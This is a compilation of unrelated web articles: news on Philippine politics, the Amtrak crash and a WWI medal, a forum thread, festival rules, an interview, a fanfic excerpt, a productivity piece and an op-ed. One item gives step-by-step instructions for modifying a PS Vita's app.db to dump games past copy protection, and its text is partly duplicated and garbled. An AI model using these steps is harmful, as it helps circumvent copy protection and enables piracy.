him.  Binay declared a desire to run for president, which he said was born out of a childhood dream to be famous, early in his six-year vice presidency, giving him a campaign advantage.  “They cannot do in eight months what I have already done. I have traveled to three-fourths of the Philippines,” Binay told Reuters at his office at Manila’s Coconut Palace, a mansion built by former first lady Imelda Marcos for a visit in 1981 by the late Pope John Paul II - who deemed it too opulent to use.  Marcos’ son, Ferdinand Jr. or “Bongbong”, is among Binay’s top three choices as his vice president for next year’s polls. Binay hopes to finally pick his running mate this week.  As a young lawyer, Binay was jailed for opposing martial law imposed by the late dictator Ferdinand Marcos. But a possible team up with Marcos’ son in next year’s polls showed it was time for the country to “move on” from past hurts, he said.  He also supports the grant of bail to former president Gloria Macapagal Arroyo, detained in a state hospital on plunder charges, saying she was not a flight risk.  Binay wants the country to be a member of the China-backed Asian Infrastructure Investment Bank (AIIB) because it will spur more investment and employment. But he said he would defend the Philippines’ rights over portions of the South China Sea.  Slideshow (2 Images)  “Sovereignty is non-negotiable. We will protect our interest in the West Philippine Sea,” he said.  The Philippines has a dispute with neighbor China over territorial claims in parts of the South China Sea, including some areas of the Spratly Islands.  It has taken its case to the Permanent Court of Arbitration in the Hague, but China has declined to take part.
-DEERFIELD BEACH, Fla. - Armed with an infectious personality and a generous spirit, Angel Rivera found himself bragging Monday -- but in a good way.  The 11-year-old sixth-grade student at Deerfield Beach Middle School is credited with pulling Usely Michel from the bottom of a pool Sunday.  "Some of (my) friends have been calling (me) superhero, little hero," Angel said. "Stuff like that, but who wouldn't call a kid that saved somebody's life a hero?"  And yes, mom is proud.  "He's my little Angel," Violeta Rivera said.  Angel heard the cries for help from the community pool at the Highland Mobile Home Park in Deerfield Beach, where the 13-year-old boy and her family gathered, despite signs saying the pool was closed.  When Usely began to drown her mother called 911, but that's when Angel stepped in.  "I didn't know what to do," Marielle Michel, Usely's stepmother, said. "I was shaking and then the 11-year-old just jumped and saved her life for me."  Angel quickly took over the situation.  "I saved her life," he said. "They had to do CPR on her and I had to make sure she was OK, and now look at this. She's doing very well."  Usely was unconscious on the pool deck when paramedics arrived, Broward Sheriff's Office Department of Fire Rescue spokesman Mike Jachles said. She was taken to a hospital in critical condition.  Her family said that doctors want to keep Usely for one more night and said that she does not appear to have any permanent or physical injuries.  While Angel and Usely go to the same school, they don't know one another, but that may change soon.  "I would like to thank him and I would like to meet him personally to thank him very much, because without him I could have lost my daughter," Michel said.  Days after saving's the teen's life, Angel and his mom got a look at photos of Usely at the hospital, where she was smiling.  The families are hoping to get together soon to celebrate Angel's courage and selflessness.  "I'm going to tell her that I'm the little person that saved your life, and I just wanted to let you know that I hope everything is going well for you," Angel said.  Copyright 2016 by WPLG Local10.com - All rights reserved.
-The speed of the Amtrak train that crashed and killed at least eight people surged from 70mph to 106mph just seconds before it derailed, it has been revealed.  The NTSB said the commuter service was travelling at twice the speed limit when it came off the tracks near Philadelphia's 30th Street station on Tuesday night.  Engineer Brandon Bostian, 32, hit the emergency brakes, but it was too late.  It has also been claimed that 'Positive Train Control' - used to slow the train down - was actually installed but wasn't turned on, leading to the fatalities and more than 200 injuries.  Scroll down for video  Revelations: The NTSB have said the speed of the Amtrak train that crashed in Philadephia and caused the death of eight people surged from 70mph to 106mph just seconds before it derailed  Probe: Engineer Brandon Bostian, 32, (pictured in St Louis, Missouri, in 2007) hit the emergency brakes, decreasing the speed to 102mph, but it was too late. The agency are trying to figure out whether he increased the speed of the train manually  Bostian complained that the technology to stop accidents had been around for 80 years but was not widely installed - including on the curve where he crashed.  His lawyers have said he does not remember anything of the crash.  A top congressional aide told The Washington Examiner that an Amtrak employee informed the House Appropriations Committee on Thursday the system was in place along the section of track outside Philadelphia's 30th Street station, but was not operating.  The employee is said to have informed the committee they were experiencing delays with the system because the radios do not have enough frequency.  The Federal Communication Commission has spent $110million on the system, and are now trying to figure out why it hadn't been turned on.  Funding has become a part of the political debate over the crash. House Speaker John Boehner blew up on Thursday at a reporter who tried to ask him at a press conference about Democratic claims that Amtrak needs additional funding.  'Well, obviously it's not about funding,' he said. 'The train was going twice the speed limit.'  Republicans on a powerful House panel on Wednesday blocked a bid by Democrats to boost Amtrak's budget by more than $1 billion, including $556 million targeted for the railroad's Northeast corridor, the site of the deadly derailment. Budget laws have tied their hands, they claimed.  Over the years Bostian made dozens of posts on industry website Trainorders.com that were linked to him by the New York Times. The forum confirmed he had made them.  In 2009 he commented on a debate about whether a train engineer should stop for a new crew once he reached his 10 hour working limit.  Bostian bristled at the idea and said that the rules were there for a reason.  Closer look: Bostian was at the controls of Amtrak locomotive 601, which was heading train 188, a North East Corridor regional train service from Washington Union Station to New York Penn Station  He wrote: 'Everyone wants an extension to hours of service to avoid inconvenience, but what will you say when the crew that's been on duty for longer than 12 hours accidentally falls asleep and passes a stop signal and rear-ends a loaded hazmat train, killing dozens or hundreds of people?  'A crew is probably not any less safe after 12 hours and one minute than they were a few moments ago, but you have to draw that line somewhere.'  Bostian, who has been an engineer with Amtrak since 2009, was interviewed by the police over six hours on Wednesday, had a blood sample taken and has handed his cell phone over to authorities.  He has declined to give a formal statement to police but has agreed to be interviewed by the NTSB.  His lawyer, Robert Goggin, told ABC News that Bostian suffered leg injuries and a concussion and needed 14 staples to his head following the crash. He said he 'has absolutely no recollection of the event' - but said he can hopefully reveal more once he recovers and his memory returns.  Past: Brandon Bostian (pictured left while working as a cashier for Target) used to live in Memphis, and graduated from the University of Missouri-Columbia in 2006. He now lives in Queens, New York  Brandon Bostian with friends - one of them wearing an Amtrak jacket - at Philadelphia's 30th Street Station, where the doomed Amtrak Train 188 departed from on Tuesday night  'He remembers driving the train,' Goggin said. 'He remembers going to that area generally, [but] has absolutely no recollection of the incident or anything unusual. The next thing he recalls is being thrown around, coming to, finding his bag, getting his cell phone and dialing 911.'  NTSB board member Robert Sumwalt said it was unclear whether Bostian had manually increased the speed - but insisted he was the only one who could have done it.  However he doesn't think he did it deliberately. He said: 'If we thought that, we wouldn't be here, because that would be a criminal act.
-Sgt Henry Johnson was serving in the all-black 369th Infantry Regiment when he killed or wounded several enemy soldiers  The US secretary of defense has recommended a posthumous Medal of Honor for a black World War I soldier from upstate New York who saved a comrade while fighting off a German attack in France, US senator Charles Schumer said Tuesday.  Chuck Hagel has sent Congress a letter saying Sgt Henry Johnson should receive the nation’s highest military decoration for bravery in combat, Schumer said. The railroad porter from Albany was serving in the all-black 369th Infantry Regiment when he killed or wounded several enemy soldiers while saving a fellow soldier from capture.  The president gets the final word on the medal request, which also requires passage of special legislation in Congress because Johnson’s actions were more than five years ago. Schumer said he’ll sponsor the legislation that would exempt Johnson from the Medal of Honor rules specifying that heroic actions have to have taken place within five years to be considered.  “Johnson should have received this recognition 95 years ago, and providing an exemption for him now is the right thing to do,” said Schumer, a New York Democrat.  If approved, Johnson would become the 89th black soldier to receive the Medal of Honor and just the second for heroism during World War I, according to the Mount Pleasant, South Carolina-based Congressional Medal of Honor Society.  The Virginia-born Johnson was working as a train station porter when he enlisted in the unit that became known as the “Harlem Hellfighters.” Around midnight on 15 May, 1918, he was standing guard duty with another soldier when they were attacked by about two dozen Germans.  Both Americans were wounded, but despite his injuries the 5-foot-4 Johnson fought off the attack, using his knife and rifle to kill or wound several of the enemy who were trying to drag his comrade away.  His actions earned him one of France’s highest military medals, but historians believe rampant Jim Crow-era racism at a time when the services were segregated kept Johnson from receiving American military honors. In 2003, Johnson was awarded the Distinguished Service Cross, the nation’s second-highest military honor.  Johnson returned to Albany after the war. Plagued by his war wounds, he died a destitute alcoholic at age 32 at a veterans hospital in Illinois in 1929 and was buried in Arlington National Cemetery.
-Mr.Gas has just shared a new method to dump games and apps without PFS protection from your PSVita.  This method will require the access to your app.db file, so it can be used only with Firmware 3.52 or lower since the mail app trick to get your app.db has been fixed by Sony starting from Firmware 3.55.  These are the instructions shared by Mr.Gas:  most of the work are going to be in app.db  1- add a value in table tbl_uri like the following  NPXS10000;1;ux0;  2- modify NPXS10000 eboot.bin path in tbl_appinfo to vs0:app/NPXS10027/eboot.bin  3- overwrite the modified app.db using email app and reboot  4- now use the browser to call the new uri with your target game . example :  ux0:app/PCSA00017  apparently near app will open the game manual.  5- minimize near then dump the game using the psp pboot trick and QCMA (while the near app still open)  6- end of th story .. and have fun  .  tested in fw 3.18 and above  //  So, more precisely, you need to:  Get the app.db file from your PSVita using the mail trick (you can follow the Step 1 of THIS tutorial)  of THIS tutorial) Open the app.db file on your PC with SQLiteBrowser, browse data in tbl_uri and add a new record inserting as values: NPXS10000 , 1 and ux0 (the fourth field must remain NULL ):  and add a new record inserting as values: , and (the fourth field must remain ): Now browse data in the table tbl_appinfo and search for the key 3022202214 , you should get the values of the following image:  You have to change only the value under the val column, that will have to become vs0:app/NPXS10027/eboot.bin  and search for the key , you should get the values of the following image: You have to change only the value under the column, that will have to become Write changes and send back the app.db file to your PSVita using the mail trick (you can follow the Step 4 of THIS tutorial) and reboot the console.  of THIS tutorial) and reboot the console. Open the internet browser of your PSVita and insert as URL the address ux0:app/ followed by the ID of the game/app you want to dump, for example: ux0:app/PCSA00017 . This should open Near app with the game manual.  followed by the ID of the game/app you want to dump, for example: . This should open app with the game manual. Minimize Near app ( don’t close it! ) and use the PBOOT trick to dump your Memory Card content (you can find a tutorial about this procedure HERE)  app ( ) and use the PBOOT trick to dump your Memory Card content (you can find a tutorial about this procedure HERE) Now you’ll find the game/app files dumped in your Memory Card  Source
-By Zachary Fagenson  MIAMI, March 8 (Reuters) - New York media mogul Robert F.X. Sillerman is the new entertainment king of Miami Beach after taking over almost all of the famous South Florida island-city's glitzy, over-the-top nightclubs in a push to consolidate the fast-growing electronic dance music (EDM) industry.  Two Miami companies, The Opium Group and Miami Marketing Group, which own eight nightclubs, including LIV inside the historic, art deco Fontainebleau Hotel, were recently purchased by Sillerman, according to a spokesman.  The deals, in which terms were not disclosed, are the latest move by Sillerman to corner the EDM market, after saying in June last year that he was willing to spend more than $1 billion buying up EDM promoters and event organizers.  EDM is rapidly growing in popularity in the U.S. and abroad, popularized by nightclub DJs featuring acts by Lady Gaga, Katy Perry and Pitbull.  Sillerman's stake in the Miami club scene gives him a presence in a major EDM market and home of the Ultra Music Festival, one of the biggest in the world, with eight stages and more than 230,000 attendees last year.  This year's Ultra event in Miami promises to be even bigger, and has expanded to two consecutive 3-day weekends later this month. Sillerman has no ties to the event.  Sillerman's quest echoes his business strategy from the late 1990s when his company, SFX Entertainment, consolidated a large number of concert promoters, producers and venues and was bought by Clear Channel in 2000 for $4.4 billion.  In January, Sillerman's revived SFX Entertainment purchased the North American division of Holland-based ID&T Entertainment, the world's largest dance music concert promoter. ID&T runs a three-day festival in Belgium called Tomorrowland and Sensation White, an EDM concert series held across Europe that made its U.S. debut at the Barclays Center in Brooklyn last October.  Tomorrowland producers plan to hold their first festival outside of Belgium, called Tomorrow World, somewhere in North America in late September.  SFX has also acquired several other EDM assets in recent weeks, including New Orleans-based EDM promoter Donnie Disco Presents and Life in Color, which puts on day-glow-paint-soaked EDM concerts across the U.S. Last week, SFX took over the Denver-based music site Beatport, a major download store for EDM with a catalog of more than one million tracks, the New York Times reported.  "He's the entrepreneurial type, looking for different avenues to bring in his management aggregation strategy," said Mark Fratrik, vice president and chief economist for media consultancy BIA/Kelsey. "I imagine he could do the same thing ... it seems like this is another combining of the events with the music."  SFX, LIVE NATION EXPAND EDM REACH  Sillerman first began buying radio stations in the late 1970s and sold a block of 10 stations to Westinghouse Broadcasting for $400 million in 1989. He later launched SFX Broadcasting which went public in 1993 and grew even larger when the Telecommunications Act of 1996 lifted the cap on the number of stations a company could own in a single market. In 1997, the company was sold for $2.1 billion to Capstar Broadcasting Corp, a company formed by the Hicks brothers.  Sillerman then started a new public company called Marquee Group Inc, which bought up agencies that represented professional sports and music stars, and SFX Entertainment through which he acquired concert venues and promoters.  SFX Entertainment was sold to Clear Channel in 2000 for $4.4 billion and was widely recognized as the precursor to the now massive concert promoter and producer Live Nation.  Sillerman went on to form CKX Inc, which bought 85 percent of Elvis Presley Enterprises, including the rock-and-roll legend's Graceland mansion, and 100 percent of Simon Fuller's 19 Entertainment, producer of American Idol.  "He's been extremely successful in consolidating fragmented industries which have untapped growth potential that generally have excellent marketing opportunities attached to them," said Mike Principe, a former SFX attorney who is now CEO of The Legacy Agency. "He goes in, acquires en masse, and enjoys a leading position."  Sillerman isn't the only one trying to bring the booming slice of the music industry under one flag. In May 2012, Live Nation purchased Cream Holdings Limited, which produces EDM events in the U.K. and Australia.  Cream Founder and CEO James Barton became head of Live Nation Electronic Music tasked with expanding the company's reach in EDM around the world. Both SFX and Live Nation have been reportedly courting Los Angeles-based Insomniac.
-SetGuitarsToKill Profile Blog Joined December 2013 Canada 27926 Posts Last Edited: 2015-09-02 16:09:35 #1  Via Wolf on twitter, news has comes that TANGTANG will retire.  May the memory of his fantastic name and the one time he beat Zest live on forever.  Prime's roster is down to 3 players now  BBoongBBoong  YoDa  KeeN May the memory of his fantastic name and the one time he beat Zest live on forever.Prime's roster is down to 3 players now Community News "As long as you have a warp prism you can't be bad at harassment" - Maru | @SetGuitars2Kill  KatatoniK Profile Blog Joined October 2013 United Kingdom 978 Posts #2 Nooooo TANGTANG. I always felt he had a lot of potential to do well, especially after he knocked out Zest of the GSL qualifiers. I guess being on Prime and not getting the support to reach his potential got to him Flying on the Jin Air hype plane. Lets go Maru, Rogue, sOs and the handsome CJ herO  Lorning Profile Blog Joined April 2011 Belgica 34096 Posts #3 aww Community News  iSy92 Profile Joined January 2014 Poland 3 Posts #4 The worst player in proleague  DinosaurJones Profile Joined February 2012 United States 952 Posts #5 On September 03 2015 01:20 iSy92 wrote:  The worst player in proleague The worst player in proleague  I'm pretty sure that was B4 I'm pretty sure that was B4 www.savefile.tv - My website for Let's Plays and other general gaming talk. Also, music.  showstealer1829 Profile Blog Joined May 2014 Australia 3016 Posts #6 And the worlds longest team death animation continues There is no understanding. There is only Choya. Choya is the way. Choya is Love. Choya is Life. Has is the Light in the Protoss Dark and Nightmare is his chosen Acolyte  AnythingThenDelete Profile Blog Joined January 2011 381 Posts #7 prime should hire non koreans  TheLordofAwesome Profile Joined May 2014 Korea (South) 1900 Posts #8 NOOOOOOOOOO  TANGTANG!!!!!!!!!!!!  May your victory over Zest live on in glory. Polt. || Great wars were fought in the dawn of marijuana smoking using magickal powers far beyond the diminutive power of modern man. only with the aid of the egyptian witch doctors could the space:time:mind ratio be shattered and unbound -YokoKano  KtJ Profile Joined October 2014 United States 3508 Posts #9 TANGTANG NO  YOU WILL BE REMEMBERED "I thought I destroyed my CC but it seemed like the only thing I destroyed was Idra's mentality."  Kimb3r Profile Joined April 2010 Peru 588 Posts #10 Could somebody maybe translare what he posted on Facebook? Maru | Life | Leenock  vult Profile Blog Joined February 2012 United States 8779 Posts #11 TANGQUARED NOOOOOO Polt plz come back  royalroadweed Profile Joined April 2013 United States 7695 Posts #12 So I guess Prime is done in PL with only 3 players?  boxerfred Profile Blog Joined December 2012 Germany 8329 Posts #13 Prime taking another beating.  oGoZenob Profile Joined December 2011 France 1481 Posts #14 so prime can't continue in PL with only 3 players right ?  I heard somewhere that there is a huge clan beside the pro team in prime, so maybe they could pick the best players of it to continue I like starcraft  Boucot Profile Blog Joined October 2011 France 15974 Posts #15 On September 03 2015 01:27 DinosaurJones wrote:  Show nested quote +  On September 03 2015 01:20 iSy92 wrote:  The worst player in proleague The worst player in proleague  I'm pretty sure that was B4 I'm pretty sure that was B4  0-8 vs 1-14, honestly I don't know what's better. Even the word "better" seems out of place here. 0-8 vs 1-14, honestly I don't know what's better. Even the word "better" seems out of place here. Former SC2 writer for Millenium - twitter.com/Boucot  ThePacifist Profile Joined March 2015 Korea (South) 46 Posts Last Edited: 2015-09-02 17:03:25 #16 Following the facebook post, he made the chioce because he wanted to do something else(Not sure what it is), not pro-gaming. And he said he regreted that he could't play his best. Also he left a message of thanks to his fans, coaches and the others who helped his pro-gaming career.  Tbh, It's very bad that lots of players to retire or consider to step back. These news make me to worry. A man cannot be too careful in the choice of his enemy.  showstealer1829 Profile Blog Joined May 2014 Australia 3016 Posts #17 On September 03 2015 01:47 oGoZenob wrote:  so prime can't continue in PL with only 3 players right ?  I heard somewhere that there is a huge clan beside the pro team in prime, so maybe they could pick the best players of it to continue  Well Proleague this year for them is over, so they have 3 months to sign someone and technically they still have the deal with Invictus so if the Chinese players come back they have 6  Plus there's always a remote chance ByuN comes back from his vision quest Well Proleague this year for them is over, so they have 3 months to sign someone and technically they still have the deal with Invictus so if the Chinese players come back they have 6Plus there's always a remote chance ByuN comes back from his vision quest There is no understanding. There is only Choya. Choya is the way. Choya is Love. Choya is Life. Has is the Light in the Protoss Dark and Nightmare is his chosen Acolyte  Ja.Y. Profile Joined February 2015 United States 253 Posts #18 This is all a shame. Prime will live on forever. It has outlasted IM, TSL, SlayerS, oGs, StarTale (technically), fOu, FXO......... MMA will reign supreme once again // MaSa is gawd  GGzerG Profile Blog Joined January 2010 United States 9295 Posts #19 On September 03 2015 01:20 iSy92 wrote:  The worst player in proleague The worst player in proleague  Take that back!  GL TANGTANG  TANG its a kick in the glass! You can do it buddy Take that back!GL TANGTANGTANG its a kick in the glass! You can do it buddy AKA: TelecoM[WHITE] Protoss fighting  Skynx Profile Blog Joined January 2013 Turkey 6567 Posts #20 He knocked that guy who is undefeated this season to code B. gg wp TT "When seagulls follow the troller, it is because they think sardines will be thrown into the sea. Thank you very much" - King Cantona | STX 4 eva  1 2 3 4 Next All
-Administration officials are warning Republicans not to pass a Department of Homeland Security funding bill that includes any attempt to block President Obama’s executive actions on immigration reform.  During the White House Press Briefing today, Press Secretary Josh Earnest brought up the deaths of two New York City Police officers in December, citing Republican support for law enforcement.  “There was a lot of coverage, the very end of last year, and the beginning of this year — particularly from Republicans who were talking about how important it was for political leaders to stand up for law enforcement — particularly in the aftermath of the terribly tragic shooting of those two police officers in New York City,” Earnest said.  Earnest did not mention critical comments made by Democrats about police fairness during the volatile period, but pointed to “aggressive rhetoric” from Republicans about backing law enforcement officials.  “I’m not sure what you could do to more undermine the relationship between political leaders and law enforcement than to threaten to withhold their paychecks even while they are doing their job,” he added, calling for Republicans to “come to their senses” and pass a clean funding bill.
-2018 Site Map (PDF)  2018 Stage Schedule (PDF)  2018 DATES:  October 12 - 14, 2018  HOURS:  10:00AM to 10:00PM – Friday and Saturday  10:00AM to 5:00PM - Sunday  GATES:  Friday Gates open at 10 a.m. – 10 p.m.  Saturday Gates open at 10 a.m. – 10 p.m.  Sunday Gates open at 10 a.m. – 5 p.m.  LOCATION:  Sunset Park  2601 East Sunset Rd.  Las Vegas, NV 89120  SUNSET PARK BOX OFFICE HOURS:  October 12 - 14, 2018 only (2 entry gates)  Friday: 9 a.m. – 9 p.m.  Saturday: 9 a.m. – 9 p.m.  Sunday: 9 a.m. – 4 p.m.  FRONT GATE PROCEDURES:  Get your ticket at the ticket booth, get in line at the gate, you will be searched by security.  EMERGENCY EXITS  We have increased the amount of Emergency Exits throughout the park. Though all exit locations will be clearly marked on site, we ask that you check back for locations. FOOD & DRINK  A wide assortment of food and beverage vendors will be on hand. Everything from a whole English feast, meat pies to bangers & mash will be available. Your favorite beers & ales will be sold! Alcohol sales begin Friday at 2 p.m.  Alcohol sales will cease at 9 p.m. Friday and Saturday.  Alcohol sales will cease at 4 p.m. Sunday.  PARKING  Limited parking will be available at Sunset Park Overflow parking lots are located at:  Del Sol High School  3100 E Patrick Ln  Las Vegas, NV 89120 Cannon Middle School  5850 Euclid St  Las Vegas, NV 89120 Shuttle times:  Friday: 5:00pm - 11:00pm  Saturday: 10:00am - 11:00pm  Sunday: 10:00am - 6:00pm Pick up will take place every 5-15 minutes Parking info map  Lift & Uber Drop off & Pick up located at Sunset Administration building (next to shuttle pick up inside the park) WHAT TO BRING  Bring your tickets, valid ID, blankets, one bottle of water is OK, sunscreen and still camera.  ATMs will be on site for your convenience, check back for locations. LEAVE IT AT HOME  No cans, drinks (one plastic bottle of water is OK), bottles, alcoholic beverages, coolers, firearms (with or without permit), sticks, balls, bats, chains or clubs, bullhorns, ANIMALS, lawn chairs, squirt or water guns or unauthorized vending, concessions, merchandise, literature or promotions. No pets allowed.  All (period piece) blades must be sheathed, even dull items. No Patches or Colors allowed inside the Festival. No Firearms (concealed or open carry) will be allowed inside the festival due to the Special Event. As per NRS Code. NO RE-ENTRY WITHOUT A WRISTBAND  No re-entry will be enforced throughout the day. Once you leave you will have to purchase another ticket for admission. WE RESERVE THE RIGHT TO SEARCH ANY PARTICIPANT & ASK ANYONE WHO IS NOT OBSERVING THESE REGULATIONS TO LEAVE THE EVENT! ALL WEAPONS MUST BE PART OF COSTUME & PEACE TIED BEFORE ENTERING THE FAIRE!
-The new Global Brand Ambassador of Revlon spills the beans on her beauty must-haves  Photos: Revlon  We’re sad to see you leave The Voice. What else have you been up to lately?  I’ve been working on new music, which I’m so excited to release this year. I can’t say too much about it just yet, but I’ve had so much fun in the studio. My cartoon series, Kuu Kuu Harajuku on Nickelodeon is going into season 2 and will be available worldwide. The Kuu Kuu Harajuku toy series is launching in US, Canada, Australia and Israel in July/ August this year.  You’ve been the face for various beauty brands previously. What made you decide to take on the role of ambassador for Revlon?  I don’t even know how to absorb such an incredible honor. It’s such a big deal. I can’t believe I get to be a Revlon ambassador, especially at this point in my life. I’ve always been a fan of Revlon. As a little girl, going to the drug store and going down the makeup aisle, was one of my favorite things to do, ever. And now that I get to indulge in every single product that Revlon make and be part of such an incredibly creative company with such a positive message, it makes me feel so honored.  Take us through your morning routine, what is it like?  There is no typical “routine” for me. Every day I get up in the morning and I wash my face and put on some moisturizer. I literally and genuinely love doing makeup so there is no one beauty look that I typically stick to.  What are five things that we will find in your makeup bag?  I genuinely love doing makeup and experimenting with different looks, so there is no one beauty product that I typically stick to. On some days, I could wear brows and lips and that would be it. The Revlon ColorStay Brow Crayon is quick and easy to use and it stays put all day. I love a bold lip. Today, I’m wearing the red shade I wore on my last shoot, which was  Today, I’m wearing the red shade I wore on my last shoot, which was Revlon’s Super Lustrous Love That Red. I always need to have something for my lips. I think that’s probably one of the most important things for me. I’m a fan of the new Revlon Mega Multiplier Mascara. It really creates and oversized lash look and is water resistant, which is perfect for my busy lifestyle. The Revlon 2 IN 1 Kajal Eyeliner has a great angled tip and there’s a smudger on the other side which makes doing your eyeliner quick and easy.  You’re known for your iconic bold red lipstick. Which is your go-to shade?  I think that when I wear red lipstick I feel a little bit more animated. A little bit more drama. A little bit more confidence and uniqueness. For years, I was always scared of an orange red. I really went towards a blue red and classic reds. But now, I feel like I’ve become more adventurous and I really love every single shade of red. Today, I’m wearing the red shade I wore on my last shoot, which was Revlon’s Super Lustrous Love That Red.  Any advice on pulling off red lips?  I’m so used to wearing red lipstick now, but I have a friend who constantly licks her lips and I always tell her that she can’t do that when she’s wearing a bright lip. Finding the right longwearing lipstick is obviously crucial.  Which feature do you prefer: lips or eyes?  Lips.  If you had to live forever with only one beauty product, which would it be?  Lipstick.  You’ve always said that makeup helps boost your own confidence. How did this philosophy come about?  The philosophy came about from the truth of how I feel when I get to be creative with makeup. It’s just something that I’ve always been passionate about. I’m just speaking for myself that when I get my makeup on daily, it definitely boosts my confidence. And when I get my makeup on before I go on stage, it’s definitely a ritual that takes to a place I’m able to get up on stage and exchange love with people.
-"Loki remembers the first time he competed against Thor in the Olympics. He wishes he didn't, but it's burned into his mind, probably never to be forgotten. He skated with Sif at the time, but they fought all the time – about Thor, mostly, because she was still on his side, and Loki ached for someone who would be faithful to him, only him. She called him selfish.He'd thought they could win, win the gold, but halfway into it he'd realized that it wasn't going to happen. It had been like a slap to the face (a Natasha slap, full of sharp painted nails). Loki's jealousy was burning so bright he'd been sure Thor could see it from the inside of the changing rooms, a breathless Jane pressed against him." ( Source
-Multitasking is probably the single most overrated skill in modern life. It drains your brain of oxygenated glucose that could be put toward paying more focused attention, makes it difficult for a person to switch between tasks, and is generally an illusion anyway. Only 3% of the population are “supertaskers,” according to a study from Ohio University. The rest of us just pretend to be.  A number of systems have been developed to save us from our endless to-do lists, which can turn any job into a soulless assembly line of chores. One such system is “Personal Kanban,” which was named for the Japanese concept that inspired it, a just-in-time manufacturing process developed at Toyota in the late 1940s.  In an industrial setting, Kanban (which means “signboard” or “billboard” in Japanese, as a recent Medium post explains) relies on tickets that move with each product through a plant. Only a certain number of one type of ticket can be on a line at one time, and it must correspond to one specific car part.  James Benson, a former urban planner based in Seattle who authored Personal Kanban: Mapping Work — Navigating Life, tells Quartz that industrial Kanban was a way for Toyota to avoid overproducing. He has adapted the system to reduce overhead of the emotional sort—the “too many tasks on my mind” feeling that’s the biggest downside of our mostly doomed attempts to multitask.  Personal Kanban works on two principles: Visualize your work, and limit your total number of “works in progress.” Setting up a system is simple:  Find a board with which you can use magnets, post-it notes, or thumbtacks. On it, create three columns: Options, Doing, and Done.  Write your individual tasks down on separate cards. You might customize these tickets by urgency or type (perhaps personal or business) with colors or symbols. Post all of these cards in the “Options” column.  From that column, choose no more than three to move into the middle “Doing” column. These are the works in progress you’re focused on in a timeframe of your choosing.  When a task is complete, move it into the “Done” column, and choose a new option to pull into “Doing.”  The “options” column makes it possible to see everything that’s on your list and assess what’s manageable or not. (Do you need to delegate, hire another person, or arrange for temporary help? Should something about the way you work change so that the backlog of “options” doesn’t become a field of forgotten dreams?)  The middle column is the “now” that matters most, according to Benson, and should never contain more than three tickets. You could minimize your in-progress task to one, but the author and consultant says that’s probably not an honest number, and could undermine this entire process. Most of us have at least two competing priorities at a given time, while a third task might be more passive. (Maybe you’re working on two projects at home while doing the laundry, for instance.) Squeezing more than three items into the “doing” column, on the other hand, likely means you’re taxing your brain and slowing it down.  Starting but not finishing too many projects puts a person at risk of the so-called Zeigarnik effect, named for Bluma Zeigarnik, a Russian psychiatrist who, in the 1920s, discovered that people are better at remembering unfinished tasks than completed ones. Unfinished items that we’ve left hanging are like cognitive itches. (Zeigarnik first made this observation watching servers remember detailed meal orders at a restaurant only as long as the order was in process.)  This Kanban user appears to be slipping in a fourth task:  The appeal of the “done” column needs no elaboration. Studies have shown we get a dopamine kick from just saying the word “done.” “The act of completion is affirming in and of itself,” Benson adds.  Importantly, “done” doesn’t have to be dead, however, and this is pretty key to Benson’s theory. With some coding or sub-categorization, this column can morph into a record of your work that offers some useful insights.  Benson and Tonianne DeMaria Barry, his business partner and co-author of the Personal Kanban book, have come up with matrixes to rank the items you most enjoyed doing, least enjoyed, slapped together in a hurry, felt no control over, and so on. They promise that, after a while, a few universals will appear. You’ll be able to see where you’re always getting stuck, and where you succeed most often, and why.  Gaining some self-awareness is the promise of sticking to this plan, at least for long enough to start seeing patterns. (Benson admits that people don’t stick to systems forever.) “If you find all your stuff is emergencies, that’s the point at which you need to reassess your life,” says Benson. He once heard from a woman who changed careers and left her marriage after adopting the system, he said.  Benson first designed Personal Kanban for software developers about 10 years ago, but he says IT workers weren’t that interested. He went on to design his method—since used in schools, health organizations, governments, and a range of project-based industries—while a former colleague launched LeanKanban University, a more intense training program.  Several popular software programs are based on the Kanban system, too, including Pivotal Tracker, and Trello. Benson prefers actual boards because “they’re tactile and they live in space and time,” he says, noting studies that have proven we process more information when we write things down.  Ultimately, he wants his model to help people find themselves—quite literally. That’s a feature worth thinking about, even for those of us who prefer reading about (or reporting on) productivity systems, knowing we’ll never act on them. (Guilty.) “We get so overloaded, we lose sight of who we are, and what we can do, and makes us us,” he says. “We start to believe we’re just a person filling space.”  In theory or practice, the best time-management systems aren’t about increasing churn; they’re about making room to be human.
-Yeah that Harem’s a real party girl, or so she would have you believe! She actually has done far more than her fair share of it, as she has done far more than her fair share of most things as one might expect from someone who can do 5 things at once. At the very least, one of her is actually at the club now, one is talking with the brass, and another one is helping a 4th get ready. What, like only one of her is going to the club? None of that means she never embellishes any of her stories though.  Sydney’s question in the mini comic is legit, and really the only way to find out is to find out.  Dabbler takes sex pretty seriously, no surprise there, but not so seriously that she’d be offended by a shirt which suggested that “all I got was ████ by Dabbler” like that’s some sort of consolation prize instead of the reason the whole fight went down in the first place. Neither Arianna nor Maxima are have seen that shirt by the way.  And a random artist thought for you; Drawing someone sitting in someone else’s lap is surprisingly difficult. Getting all the parts in the right place is trickier than you’d think.  Here’s the link to the new comments highlighter for chrome, and the GitHub link which you can use to install on FireFox via Greasemonkey.
-Trump Needs to Watch Ken Burns’ ‘Vietnam War’ ASAP  President Donald Trump is playing a dangerous game with North Korea, risking a repeat of one of the mistakes that ensnared America in the Vietnam War — only worse.  The U.S. president is castigating the leader of North Korea, Kim Jong Un, in unusually personal and menacing terms. In early August, he threatened to unleash “fire and fury” on North Korea and then warned that the U.S. armed forces were “locked and loaded.” At the United Nations General Assembly on Sept. 19, he said that if the U.S. “is forced to defend itself or its allies, we will have no choice but to totally destroy North Korea. Rocket Man is on a suicide mission for himself and for his regime.”  The Los Angeles Times has reported that national security aides tried to get Trump to take out the taunting reference to Kim as “Rocket Man,” but he keeps repeating it. It’s the new “Crooked Hillary” or “Lyin’ Ted.” Trump reveled in the reaction the phrase, now “Little Rocket Man,” elicited Friday from the crowd at his Alabama rally, and on Sunday he tweeted, “Just heard Foreign Minister of North Korea speak at U.N. If he echoes thoughts of Little Rocket Man, they won’t be around much longer!”  This is a long way from the standard diplo-speak of previous U.S. presidents who warned that the U.S. would respond strongly to North Korean aggression. At the same time as the president is goading the North Korean dictator, the U.S. military is flexing its muscles. On Saturday, U.S. B-1 bombers and F-15 fighters flew farther north of the Demilitarized Zone along the North Korean coastline than they have in years.  Trump clearly has Kim’s attention. The megalomaniacal North Korean strongman responded with an unusually personal riposte of his own, calling Trump a “mentally deranged U.S. dotard” and vowing to “tame” him “with fire.” His foreign minister has likened Trump’s statements to a declaration of war. North Korea has already shown that it will not be cowed — since the “fire and fury” threat in early August, it has tested three 